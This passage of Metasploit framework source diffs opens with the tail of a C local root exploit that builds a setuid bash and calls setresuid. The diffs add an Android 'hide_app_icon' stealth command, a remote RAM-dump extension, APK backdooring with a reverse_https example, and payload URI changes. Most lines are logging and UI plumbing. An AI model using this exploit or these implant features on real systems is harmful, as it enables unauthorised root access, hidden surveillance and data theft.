pid_t wrapper, init;
int clone_flags = CLONE_NEWNS | SIGCHLD;
struct stat s;
if((wrapper = fork()) == 0) {
if(unshare(CLONE_NEWUSER) != 0)
fprintf(stderr, "failed to create new user namespace\n");
if((init = fork()) == 0) {
pid_t pid =
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
if(pid < 0) {
fprintf(stderr, "failed to create new mount namespace\n");
exit(-1);
}
waitpid(pid, &status, 0);
}
waitpid(init, &status, 0);
return 0;
}
usleep(300000);
wait(NULL);
stat("/tmp/haxhax/u/bash",&s);
if(s.st_mode == 0x89ed)
execl("/tmp/haxhax/u/bash","bash","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');\"",NULL);
fprintf(stderr,"couldn't create suid :(\n");
return -1;
}

View File

@ -133,6 +133,8 @@ module Metasploit
@parent.print_error(message) @parent.print_error(message)
end end
alias_method :print_bad, :print_error
end end
end end
end end

View File

@ -51,8 +51,9 @@ class TDSSSLProxy
def setup_ssl def setup_ssl
@running = true @running = true
@t1 = Thread.start { ssl_setup_thread } @t1 = Thread.start { ssl_setup_thread }
ssl_context = OpenSSL::SSL::SSLContext.new(:TLSv1) ctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
@ssl_socket = OpenSSL::SSL::SSLSocket.new(@s1, ssl_context) ctx.ciphers = "ALL:!ADH:!EXPORT:!SSLv2:!SSLv3:+HIGH:+MEDIUM"
@ssl_socket = OpenSSL::SSL::SSLSocket.new(@s1, ctx)
@ssl_socket.connect @ssl_socket.connect
end end

View File

@ -30,7 +30,7 @@ module Metasploit
end end
end end
VERSION = "4.12.40" VERSION = "4.13.1"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev' PRERELEASE = 'dev'
HASH = get_hash HASH = get_hash

View File

@ -667,6 +667,8 @@ module Auxiliary::AuthBrute
print_brute :level => :verror, :legacy_msg => msg print_brute :level => :verror, :legacy_msg => msg
end end
alias_method :vprint_bad, :vprint_error
# Legacy vprint # Legacy vprint
def vprint_good(msg='') def vprint_good(msg='')
print_brute :level => :vgood, :legacy_msg => msg print_brute :level => :vgood, :legacy_msg => msg

View File

@ -326,5 +326,7 @@ class Auxiliary::Web::HTTP
@parent.print_error message @parent.print_error message
end end
alias_method :print_bad, :print_error
end end
end end

View File

@ -228,12 +228,9 @@ protected
end end
def generate_ssl_context def generate_ssl_context
ctx = OpenSSL::SSL::SSLContext.new ctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
ctx.key = OpenSSL::PKey::RSA.new(1024){ } ctx.ciphers = "ALL:!ADH:!EXPORT:!SSLv2:!SSLv3:+HIGH:+MEDIUM"
ctx
ctx.session_id_context = Rex::Text.rand_text(16)
return ctx
end end
end end

View File

@ -8,6 +8,8 @@ module Msf::Module::UI::Message
super(print_prefix + msg) super(print_prefix + msg)
end end
alias_method :print_bad, :print_error
def print_good(msg='') def print_good(msg='')
super(print_prefix + msg) super(print_prefix + msg)
end end

View File

@ -4,6 +4,8 @@ module Msf::Module::UI::Message::Verbose
print_error(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE']) print_error(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE'])
end end
alias_method :vprint_bad, :vprint_error
# Verbose version of #print_good # Verbose version of #print_good
def vprint_good(msg='') def vprint_good(msg='')
print_good(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE']) print_good(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE'])

View File

@ -19,6 +19,8 @@ class Msf::Payload::Apk
$stderr.puts "[-] #{msg}" $stderr.puts "[-] #{msg}"
end end
alias_method :print_bad, :print_error
def usage def usage
print_error "Usage: #{$0} -x [target.apk] [msfvenom options]\n" print_error "Usage: #{$0} -x [target.apk] [msfvenom options]\n"
print_error "e.g. #{$0} -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" print_error "e.g. #{$0} -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n"
@ -75,17 +77,23 @@ class Msf::Payload::Apk
original_manifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml") original_manifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
original_permissions = original_manifest.xpath("//manifest/uses-permission") original_permissions = original_manifest.xpath("//manifest/uses-permission")
manifest = original_manifest.xpath('/manifest')
old_permissions = [] old_permissions = []
for permission in original_permissions original_permissions.each do |permission|
name = permission.attribute("name").to_s name = permission.attribute("name").to_s
old_permissions << name old_permissions << name
end end
for permission in payload_permissions
application = original_manifest.xpath('//manifest/application')
payload_permissions.each do |permission|
name = permission.attribute("name").to_s name = permission.attribute("name").to_s
unless old_permissions.include?(name) unless old_permissions.include?(name)
print_status("Adding #{name}") print_status("Adding #{name}")
original_permissions.before(permission.to_xml) if original_permissions.empty?
application.before(permission.to_xml)
original_permissions = original_manifest.xpath("//manifest/uses-permission")
else
original_permissions.before(permission.to_xml)
end
end end
end end
@ -93,12 +101,12 @@ class Msf::Payload::Apk
application << payload_manifest.at_xpath('/manifest/application/receiver').to_xml application << payload_manifest.at_xpath('/manifest/application/receiver').to_xml
application << payload_manifest.at_xpath('/manifest/application/service').to_xml application << payload_manifest.at_xpath('/manifest/application/service').to_xml
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts original_manifest.to_xml } File.open("#{tempdir}/original/AndroidManifest.xml", "wb") { |file| file.puts original_manifest.to_xml }
end end
def parse_orig_cert_data(orig_apkfile) def parse_orig_cert_data(orig_apkfile)
orig_cert_data = Array[] orig_cert_data = Array[]
keytool_output = run_cmd("keytool -printcert -jarfile #{orig_apkfile}") keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile #{orig_apkfile}")
owner_line = keytool_output.match(/^Owner:.+/)[0] owner_line = keytool_output.match(/^Owner:.+/)[0]
orig_cert_dname = owner_line.gsub(/^.*:/, '').strip orig_cert_dname = owner_line.gsub(/^.*:/, '').strip
orig_cert_data.push("#{orig_cert_dname}") orig_cert_data.push("#{orig_cert_dname}")

View File

@ -37,7 +37,7 @@ module Payload::Windows::ReverseWinHttp
# Add extra options if we have enough space # Add extra options if we have enough space
if self.available_space && required_space <= self.available_space if self.available_space && required_space <= self.available_space
conf[:uri] = generate_uri conf[:uri] = luri + generate_uri
conf[:exitfunk] = datastore['EXITFUNC'] conf[:exitfunk] = datastore['EXITFUNC']
conf[:verify_cert_hash] = opts[:verify_cert_hash] conf[:verify_cert_hash] = opts[:verify_cert_hash]
conf[:proxy_host] = datastore['PayloadProxyHost'] conf[:proxy_host] = datastore['PayloadProxyHost']
@ -49,7 +49,7 @@ module Payload::Windows::ReverseWinHttp
conf[:proxy_ie] = datastore['PayloadProxyIE'] conf[:proxy_ie] = datastore['PayloadProxyIE']
else else
# Otherwise default to small URIs # Otherwise default to small URIs
conf[:uri] = generate_small_uri conf[:uri] = luri + generate_small_uri
end end
generate_reverse_winhttp(conf) generate_reverse_winhttp(conf)
@ -139,7 +139,7 @@ module Payload::Windows::ReverseWinHttp
full_url << opts[:uri] full_url << opts[:uri]
encoded_full_url = asm_generate_wchar_array(full_url) encoded_full_url = asm_generate_wchar_array(full_url)
encoded_uri_index = full_url.rindex('/') * 2 encoded_uri_index = (full_url.length - opts[:uri].length) * 2
if opts[:ssl] && opts[:verify_cert_hash] if opts[:ssl] && opts[:verify_cert_hash]
verify_ssl = true verify_ssl = true

View File

@ -38,7 +38,7 @@ module Payload::Windows::ReverseWinHttp_x64
# Add extra options if we have enough space # Add extra options if we have enough space
if self.available_space && required_space <= self.available_space if self.available_space && required_space <= self.available_space
conf[:uri] = generate_uri conf[:uri] = luri + generate_uri
conf[:exitfunk] = datastore['EXITFUNC'] conf[:exitfunk] = datastore['EXITFUNC']
conf[:verify_cert_hash] = opts[:verify_cert_hash] conf[:verify_cert_hash] = opts[:verify_cert_hash]
conf[:proxy_host] = datastore['PayloadProxyHost'] conf[:proxy_host] = datastore['PayloadProxyHost']
@ -50,7 +50,7 @@ module Payload::Windows::ReverseWinHttp_x64
conf[:proxy_ie] = datastore['PayloadProxyIE'] conf[:proxy_ie] = datastore['PayloadProxyIE']
else else
# Otherwise default to small URIs # Otherwise default to small URIs
conf[:uri] = generate_small_uri conf[:uri] = luri + generate_small_uri
end end
generate_reverse_winhttp(conf) generate_reverse_winhttp(conf)
@ -141,7 +141,7 @@ module Payload::Windows::ReverseWinHttp_x64
full_url << opts[:uri] full_url << opts[:uri]
encoded_full_url = asm_generate_wchar_array(full_url) encoded_full_url = asm_generate_wchar_array(full_url)
encoded_uri_index = full_url.rindex('/') * 2 encoded_uri_index = (full_url.length - opts[:uri].length) * 2
if opts[:ssl] && opts[:verify_cert_hash] if opts[:ssl] && opts[:verify_cert_hash]
verify_ssl = true verify_ssl = true

View File

@ -112,6 +112,8 @@ class Plugin
output.print_error(msg) if (output) output.print_error(msg) if (output)
end end
alias_method :print_bad, :print_error
# #
# Prints a 'good' message. # Prints a 'good' message.
# #

View File

@ -166,7 +166,7 @@ module Msf::PostMixin
if self.platform and self.platform.kind_of?(Msf::Module::PlatformList) if self.platform and self.platform.kind_of?(Msf::Module::PlatformList)
[ [
# Add as necessary # Add as necessary
"windows", "linux", "osx" 'win', 'linux', 'osx'
].each do |name| ].each do |name|
if self.platform =~ /#{name}/ if self.platform =~ /#{name}/
p = Msf::Module::PlatformList.transform(name) p = Msf::Module::PlatformList.transform(name)
@ -176,7 +176,7 @@ module Msf::PostMixin
elsif self.platform and self.platform.kind_of?(Msf::Module::Platform) elsif self.platform and self.platform.kind_of?(Msf::Module::Platform)
p_klass = Msf::Module::Platform p_klass = Msf::Module::Platform
case self.platform case self.platform
when 'windows' when 'win'
return false unless self.platform.kind_of?(p_klass::Windows) return false unless self.platform.kind_of?(p_klass::Windows)
when 'osx' when 'osx'
return false unless self.platform.kind_of?(p_klass::OSX) return false unless self.platform.kind_of?(p_klass::OSX)
@ -188,8 +188,6 @@ module Msf::PostMixin
# Check to make sure architectures match # Check to make sure architectures match
mod_arch = self.module_info['Arch'] mod_arch = self.module_info['Arch']
mod_arch = [mod_arch] unless mod_arch.kind_of?(Array) mod_arch = [mod_arch] unless mod_arch.kind_of?(Array)
# TODO: what should be done with the likes of ARCH_CMD (and others) ?
return false unless mod_arch.include?(self.arch)
# If we got here, we haven't found anything that definitely # If we got here, we haven't found anything that definitely
# disqualifies this session. Assume that means we can use it. # disqualifies this session. Assume that means we can use it.

View File

@ -1345,17 +1345,11 @@ require 'msf/core/exe/segment_appender'
end end
def self.to_win32pe_psh_net(framework, code, opts={}) def self.to_win32pe_psh_net(framework, code, opts={})
template_path = File.join(Msf::Config.data_directory, Rex::Powershell::Payload.to_win32pe_psh_net(Rex::Powershell::Templates::TEMPLATE_DIR, code)
"templates",
"scripts")
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, code)
end end
def self.to_win32pe_psh(framework, code, opts = {}) def self.to_win32pe_psh(framework, code, opts = {})
template_path = File.join(Msf::Config.data_directory, Rex::Powershell::Payload.to_win32pe_psh(Rex::Powershell::Templates::TEMPLATE_DIR, code)
"templates",
"scripts")
Rex::Powershell::Payload.to_win32pe_psh(template_path, code)
end end
# #
@ -1364,10 +1358,7 @@ require 'msf/core/exe/segment_appender'
# Originally from PowerSploit # Originally from PowerSploit
# #
def self.to_win32pe_psh_reflection(framework, code, opts = {}) def self.to_win32pe_psh_reflection(framework, code, opts = {})
template_path = File.join(Msf::Config.data_directory, Rex::Powershell::Payload.to_win32pe_psh_reflection(Rex::Powershell::Templates::TEMPLATE_DIR, code)
"templates",
"scripts")
Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, code)
end end
def self.to_powershell_command(framework, arch, code) def self.to_powershell_command(framework, arch, code)

View File

@ -182,6 +182,25 @@ class APIRequest
end end
end end
@res.elements.each('//Failure') do |s|
# 1.1 returns lower case elements
s.elements.each('message') do |m|
@error = m.text
end
s.elements.each('stacktrace') do |m|
@trace = m.text
end
# 1.2 returns capitalized elements
s.elements.each('Message') do |m|
@error = m.text
end
s.elements.each('Stacktrace') do |m|
@trace = m.text
end
end
# This is a hack to handle corner cases where a heavily loaded Nexpose instance # This is a hack to handle corner cases where a heavily loaded Nexpose instance
# drops our HTTP connection before processing. We try 5 times to establish a # drops our HTTP connection before processing. We try 5 times to establish a
# connection in these situations. The actual exception occurs in the Ruby # connection in these situations. The actual exception occurs in the Ruby

View File

@ -248,6 +248,12 @@ class Android < Extension
response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
end end
def hide_app_icon
request = Packet.create_request('android_hide_app_icon')
response = client.send_request(request)
response.get_tlv_value(TLV_TYPE_ICON_NAME)
end
def activity_start(uri) def activity_start(uri)
request = Packet.create_request('android_activity_start') request = Packet.create_request('android_activity_start')
request.add_tlv(TLV_TYPE_URI_STRING, uri) request.add_tlv(TLV_TYPE_URI_STRING, uri)

View File

@ -81,6 +81,8 @@ TLV_TYPE_URI_STRING = TLV_META_TYPE_STRING | (TLV_EXTENSIONS
TLV_TYPE_ACTIVITY_START_RESULT = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9102) TLV_TYPE_ACTIVITY_START_RESULT = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9102)
TLV_TYPE_ACTIVITY_START_ERROR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9103) TLV_TYPE_ACTIVITY_START_ERROR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9103)
TLV_TYPE_ICON_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9104)
TLV_TYPE_SQLITE_RESULT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9080) TLV_TYPE_SQLITE_RESULT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9080)
TLV_TYPE_SQLITE_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9081) TLV_TYPE_SQLITE_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9081)
TLV_TYPE_SQLITE_QUERY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9082) TLV_TYPE_SQLITE_QUERY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9082)

View File

@ -0,0 +1,13 @@
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Winpmem
TLV_TYPE_WINPMEM_ERROR_CODE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1)
TLV_TYPE_WINPMEM_MEMORY_SIZE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2)
end
end
end
end
end

View File

@ -0,0 +1,51 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter/extensions/winpmem/tlv'
module Rex
module Post
module Meterpreter
module Extensions
module Winpmem
###
#
# This meterpreter extension can be used to capture remote RAM
#
###
class Winpmem < Extension
WINPMEM_ERROR_SUCCESS = 0
WINPMEM_ERROR_FAILED_LOAD_DRIVER = 1
WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY = 2
WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY = 3
WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL = 4
WINPMEM_ERROR_UNKNOWN = 255
def initialize(client)
super(client, 'winpmem')
client.register_extension_aliases(
[
{
'name' => 'winpmem',
'ext' => self
},
])
end
def dump_ram
request = Packet.create_request('dump_ram')
response = client.send_request(request)
response_code = response.get_tlv_value(TLV_TYPE_WINPMEM_ERROR_CODE)
return 0, response_code, nil if response_code != WINPMEM_ERROR_SUCCESS
memory_size = response.get_tlv_value(TLV_TYPE_WINPMEM_MEMORY_SIZE)
channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
raise Exception, "We did not get a channel back!" if channel_id.nil?
#Open the compressed Channel
channel = Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "winpmem", CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS)
return memory_size, response_code, channel
end
end
end; end; end; end; end

View File

@ -673,12 +673,11 @@ class Packet < GroupTlv
# #
def to_r def to_r
raw = super raw = super
xor_key = '' xor_key = rand(254) + 1
xor_key << (rand(254) + 1).chr xor_key |= (rand(254) + 1) << 8
xor_key << (rand(254) + 1).chr xor_key |= (rand(254) + 1) << 16
xor_key << (rand(254) + 1).chr xor_key |= (rand(254) + 1) << 24
xor_key << (rand(254) + 1).chr result = [xor_key].pack('N') + xor_bytes(xor_key, raw)
result = xor_key + xor_bytes(xor_key, raw)
result result
end end
@ -689,7 +688,7 @@ class Packet < GroupTlv
# the TLV values. # the TLV values.
# #
def from_r(bytes) def from_r(bytes)
xor_key = bytes[0,4] xor_key = bytes[0,4].unpack('N')[0]
super(xor_bytes(xor_key, bytes[4, bytes.length])) super(xor_bytes(xor_key, bytes[4, bytes.length]))
end end
@ -698,7 +697,7 @@ class Packet < GroupTlv
# #
def xor_bytes(xor_key, bytes) def xor_bytes(xor_key, bytes)
result = '' result = ''
bytes.bytes.zip(xor_key.bytes.cycle).each do |b| bytes.bytes.zip([xor_key].pack('V').bytes.cycle).each do |b|
result << (b[0].ord ^ b[1].ord).chr result << (b[0].ord ^ b[1].ord).chr
end end
result result

View File

@ -57,7 +57,7 @@ class PacketParser
# payload length left to the number of bytes # payload length left to the number of bytes
# specified in the length # specified in the length
if (self.hdr_length_left == 0) if (self.hdr_length_left == 0)
xor_key = raw[0, 4] xor_key = raw[0, 4].unpack('N')[0]
length_bytes = packet.xor_bytes(xor_key, raw[4, 4]) length_bytes = packet.xor_bytes(xor_key, raw[4, 4])
# header size doesn't include the xor key, which is always tacked on the front # header size doesn't include the xor key, which is always tacked on the front
self.payload_length_left = length_bytes.unpack("N")[0] - (HEADER_SIZE - 4) self.payload_length_left = length_bytes.unpack("N")[0] - (HEADER_SIZE - 4)

View File

@ -31,6 +31,7 @@ class Console::CommandDispatcher::Android
'wlan_geolocate' => 'Get current lat-long using WLAN information', 'wlan_geolocate' => 'Get current lat-long using WLAN information',
'interval_collect' => 'Manage interval collection capabilities', 'interval_collect' => 'Manage interval collection capabilities',
'activity_start' => 'Start an Android activity from a Uri string', 'activity_start' => 'Start an Android activity from a Uri string',
'hide_app_icon' => 'Hide the app icon from the launcher',
'sqlite_query' => 'Query a SQLite database from storage', 'sqlite_query' => 'Query a SQLite database from storage',
'set_audio_mode' => 'Set Ringer Mode' 'set_audio_mode' => 'Set Ringer Mode'
} }
@ -46,6 +47,7 @@ class Console::CommandDispatcher::Android
'wlan_geolocate' => ['android_wlan_geolocate'], 'wlan_geolocate' => ['android_wlan_geolocate'],
'interval_collect' => ['android_interval_collect'], 'interval_collect' => ['android_interval_collect'],
'activity_start' => ['android_activity_start'], 'activity_start' => ['android_activity_start'],
'hide_app_icon' => ['android_hide_app_icon'],
'sqlite_query' => ['android_sqlite_query'], 'sqlite_query' => ['android_sqlite_query'],
'set_audio_mode' => ['android_set_audio_mode'] 'set_audio_mode' => ['android_set_audio_mode']
} }
@ -580,6 +582,27 @@ class Console::CommandDispatcher::Android
end end
end end
def cmd_hide_app_icon(*args)
hide_app_icon_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ]
)
hide_app_icon_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
print_line('Usage: hide_app_icon [options]')
print_line('Hide the application icon from the launcher.')
print_line(hide_app_icon_opts.usage)
return
end
end
result = client.android.hide_app_icon
if result
print_status("Activity #{result} was hidden")
end
end
def cmd_sqlite_query(*args) def cmd_sqlite_query(*args)
sqlite_query_opts = Rex::Parser::Arguments.new( sqlite_query_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ], '-h' => [ false, 'Help Banner' ],

View File

@ -0,0 +1,90 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter'
module Rex
module Post
module Meterpreter
module Ui
class Console::CommandDispatcher::Winpmem
Klass = Console::CommandDispatcher::Winpmem
include Console::CommandDispatcher
#
# Name for this dispatcher
#
def name
'Winpmem'
end
#
# List of supported commands.
#
def commands
{
'dump_ram' => 'Dump victim RAM',
}
end
WINPMEM_ERROR_SUCCESS = 0
WINPMEM_ERROR_FAILED_LOAD_DRIVER = 1
WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY = 2
WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY = 3
WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL = 4
WINPMEM_ERROR_UNKNOWN = 255
def cmd_dump_ram(*args)
unless args[0]
print_error("Usage: dump_ram [output_file]")
return
end
path_raw = args[0]
fd = ::File.new(path_raw, 'wb+')
memory_size, response_code, channel = client.winpmem.dump_ram
case response_code
when WINPMEM_ERROR_FAILED_LOAD_DRIVER
print_error("Failed to load the driver")
return true
when WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY
print_error("Failed to get the memory geometry")
return true
when WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY
print_error("Failed to allocate memory")
return true
when WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL
print_error("Failed to open the meterpreter Channel")
return true
end
print_good("Driver PMEM loaded successfully")
#Arbitrary big buffer size, could be optimized
buffer_size = 2**17
bytes_read = 0
next_message_byte = memory_size / 10
begin
data = channel.read(buffer_size)
until channel.eof
fd.write(data)
bytes_read += data.length
data = channel.read(buffer_size)
if bytes_read >= next_message_byte
print_good(((next_message_byte.to_f / memory_size) * 100).round.to_s + "% Downloaded")
next_message_byte += memory_size / 10
end
end
print_status("Download completed")
ensure
print_status("Unloading driver")
fd.close
#Unload the driver on channel close
channel.close
end
return true
end
end
end
end
end
end

View File

@ -108,21 +108,21 @@ class ClientRequest
qstr << set_encode_uri(Rex::Text.rand_text_alphanumeric(rand(32)+1)) qstr << set_encode_uri(Rex::Text.rand_text_alphanumeric(rand(32)+1))
end end
end end
if opts.key?("vars_get") && opts['vars_get']
opts['vars_get'].each_pair do |var,val|
var = var.to_s
opts['vars_get'].each_pair do |var,val| qstr << '&' if qstr.length > 0
var = var.to_s qstr << (opts['encode_params'] ? set_encode_uri(var) : var)
# support get parameter without value
qstr << '&' if qstr.length > 0 # Example: uri?parameter
qstr << (opts['encode_params'] ? set_encode_uri(var) : var) if val
# support get parameter without value val = val.to_s
# Example: uri?parameter qstr << '='
if val qstr << (opts['encode_params'] ? set_encode_uri(val) : val)
val = val.to_s end
qstr << '='
qstr << (opts['encode_params'] ? set_encode_uri(val) : val)
end end
end end
if (opts['pad_post_params']) if (opts['pad_post_params'])
1.upto(opts['pad_post_params_count'].to_i) do |i| 1.upto(opts['pad_post_params_count'].to_i) do |i|
rand_var = Rex::Text.rand_text_alphanumeric(rand(32)+1) rand_var = Rex::Text.rand_text_alphanumeric(rand(32)+1)

View File

@ -9,6 +9,7 @@ class Base
def print_status(msg); end def print_status(msg); end
def print_good(msg); end def print_good(msg); end
def print_error(msg); end def print_error(msg); end
alias_method :print_bad, :print_error
def print_warning(msg); end def print_warning(msg); end
end end

View File

@ -24,6 +24,8 @@ class Output
def print_error(msg='') def print_error(msg='')
end end
alias_method :print_bad, :print_error
# #
# Prints a 'good' message. # Prints a 'good' message.
# #

View File

@ -46,6 +46,8 @@ module Subscriber
end end
end end
alias_method :print_bad, :print_error
# #
# Wraps user_output.print_good # Wraps user_output.print_good
# #

View File

@ -80,6 +80,8 @@ class BidirectionalPipe < Rex::Ui::Text::Input
print_line('[-] ' + msg) print_line('[-] ' + msg)
end end
alias_method :print_bad, :print_error
def print_line(msg='') def print_line(msg='')
print(msg + "\n") print(msg + "\n")
end end

View File

@ -61,6 +61,8 @@ module DispatcherShell
shell.print_error(msg) shell.print_error(msg)
end end
alias_method :print_bad, :print_error
# #
# Wraps shell.print_status # Wraps shell.print_status
# #

View File

@ -40,6 +40,20 @@ begin
::Readline.completion_proc = tab_complete_proc || @rl_saved_proc ::Readline.completion_proc = tab_complete_proc || @rl_saved_proc
end end
#
# Retrieve the line buffer
#
def line_buffer
if defined? RbReadline
RbReadline.rl_line_buffer
else
::Readline.line_buffer
end
end
attr_accessor :prompt
# #
# Whether or not the input medium supports readline. # Whether or not the input medium supports readline.
# #
@ -124,12 +138,13 @@ begin
# to reimplement []`Readline.readline`](https://github.com/luislavena/rb-readline/blob/ce4908dae45dbcae90a6e42e3710b8c3a1f2cd64/lib/readline.rb#L36-L58) # to reimplement []`Readline.readline`](https://github.com/luislavena/rb-readline/blob/ce4908dae45dbcae90a6e42e3710b8c3a1f2cd64/lib/readline.rb#L36-L58)
# for rb-readline to support setting input and output. Output needs to be set so that colorization works for the # for rb-readline to support setting input and output. Output needs to be set so that colorization works for the
# prompt on Windows. # prompt on Windows.
self.prompt = prompt
if defined? RbReadline if defined? RbReadline
RbReadline.rl_instream = fd RbReadline.rl_instream = fd
RbReadline.rl_outstream = output RbReadline.rl_outstream = output
begin begin
line = RbReadline.readline(prompt) line = RbReadline.readline("\001\r\033[K\002" + prompt)
rescue ::Exception => exception rescue ::Exception => exception
RbReadline.rl_cleanup_after_signal() RbReadline.rl_cleanup_after_signal()
RbReadline.rl_deprep_terminal() RbReadline.rl_deprep_terminal()
@ -143,7 +158,7 @@ begin
line.try(:dup) line.try(:dup)
else else
::Readline.readline(prompt, true) ::Readline.readline("\001\r\033[K\002" + prompt, true)
end end
end end

View File

@ -29,6 +29,7 @@ class Output < Rex::Ui::Output
super super
end end
attr_reader :config attr_reader :config
attr_accessor :input
def disable_color def disable_color
@config[:color] = false @config[:color] = false
@ -51,6 +52,8 @@ class Output < Rex::Ui::Output
print_line("%bld%red[-]%clr #{msg}") print_line("%bld%red[-]%clr #{msg}")
end end
alias_method :print_bad, :print_error
def print_good(msg = '') def print_good(msg = '')
print_line("%bld%grn[+]%clr #{msg}") print_line("%bld%grn[+]%clr #{msg}")
end end
@ -60,7 +63,14 @@ class Output < Rex::Ui::Output
end end
def print_line(msg = '') def print_line(msg = '')
print(msg + "\n") print("\033[s") # Save cursor position
print("\r\033[K" + msg + "\n")
if input and input.prompt
print("\r\033[K")
print(input.prompt)
print(input.line_buffer)
print("\033[u\033[B") # Restore cursor, move down one line
end
end end
def print_warning(msg = '') def print_warning(msg = '')

View File

@ -184,7 +184,9 @@ module Shell
self.init_prompt = input.prompt self.init_prompt = input.prompt
end end
output.input = input
line = input.pgets() line = input.pgets()
output.input = nil
log_output(input.prompt) log_output(input.prompt)
# If a block was passed in, pass the line to it. If it returns true, # If a block was passed in, pass the line to it. If it returns true,
@ -276,6 +278,8 @@ module Shell
log_output(output.print_error(msg)) log_output(output.print_error(msg))
end end
alias_method :print_bad, :print_error
# #
# Prints a status message to the output handle. # Prints a status message to the output handle.
# #

View File

@ -65,9 +65,9 @@ Gem::Specification.new do |spec|
# are needed when there's no database # are needed when there's no database
spec.add_runtime_dependency 'metasploit-model' spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter # Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.1.26' spec.add_runtime_dependency 'metasploit-payloads', '1.2.1'
# Needed for the next-generation POSIX Meterpreter # Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.0.8' spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.2'
# Needed by msfgui and other rpc components # Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack' spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS. # get list of network interfaces, like eth* from OS.

View File

@ -18,8 +18,8 @@ class MetasploitModule < Msf::Auxiliary
This module acts as a simplistic administrative client for interfacing This module acts as a simplistic administrative client for interfacing
with Veeder-Root Automatic Tank Gauges (ATGs) or other devices speaking with Veeder-Root Automatic Tank Gauges (ATGs) or other devices speaking
the TLS-250 and TLS-350 protocols. This has been tested against the TLS-250 and TLS-350 protocols. This has been tested against
GasPot, a honeypot meant to simulate ATGs; it has not been tested GasPot and Conpot, both honeypots meant to simulate ATGs; it has not
against anything else, so use at your own risk. been tested against anything else, so use at your own risk.
}, },
'Author' => 'Author' =>
[ [
@ -31,6 +31,7 @@ class MetasploitModule < Msf::Auxiliary
['URL', 'https://community.rapid7.com/community/infosec/blog/2015/01/22/the-internet-of-gas-station-tank-gauges'], ['URL', 'https://community.rapid7.com/community/infosec/blog/2015/01/22/the-internet-of-gas-station-tank-gauges'],
['URL', 'http://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/the-gaspot-experiment'], ['URL', 'http://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/the-gaspot-experiment'],
['URL', 'https://github.com/sjhilt/GasPot'], ['URL', 'https://github.com/sjhilt/GasPot'],
['URL', 'https://github.com/mushorg/conpot'],
['URL', 'http://www.veeder.com/us/automatic-tank-gauge-atg-consoles'], ['URL', 'http://www.veeder.com/us/automatic-tank-gauge-atg-consoles'],
['URL', 'http://www.chipkin.com/files/liz/576013-635.pdf'], ['URL', 'http://www.chipkin.com/files/liz/576013-635.pdf'],
['URL', 'http://www.veeder.com/gold/download.cfm?doc_id=6227'] ['URL', 'http://www.veeder.com/gold/download.cfm?doc_id=6227']
@ -187,6 +188,8 @@ class MetasploitModule < Msf::Auxiliary
def get_response(request) def get_response(request)
sock.put(request) sock.put(request)
response = sock.get_once(-1, timeout) response = sock.get_once(-1, timeout)
response.strip!
response += " (command not understood)" if response == "9999FF1B"
response response
end end
@ -245,7 +248,8 @@ class MetasploitModule < Msf::Auxiliary
end end
else else
